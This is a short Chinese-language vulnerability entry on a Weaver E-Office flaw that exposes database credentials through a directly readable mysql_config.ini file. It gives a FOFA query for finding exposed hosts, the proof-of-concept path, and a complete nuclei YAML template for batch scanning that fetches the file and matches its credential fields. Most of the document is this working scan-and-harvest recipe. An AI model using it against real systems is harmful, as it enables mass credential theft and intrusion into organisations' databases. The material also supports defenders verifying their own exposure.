漏洞描述
泛微 E-Office mysql_config.ini文件可直接访问，泄漏数据库账号密码等信息
漏洞复现
fofa语法：app="泛微-EOffice"
登录页面如下：
验证POC：/mysql_config.ini
nuclei批量yaml文件
id: EOffice_mysql_config_information_leak
info:
name: 泛微OA E-Office mysql_config.ini 数据库信息泄漏漏洞
author: mhb17
severity: medium
description: description
reference:
- https://peiqi.wgpsec.org/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Office%20mysql_config.ini%20%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.html
tags: informationleak
requests:
- raw:
- |+
GET /mysql_config.ini HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
matchers-condition: and
matchers:
- type: word
part: body
words:
- datauser
- type: word
part: body
words:
- dataurl
- type: word
part: header
words:
- '200'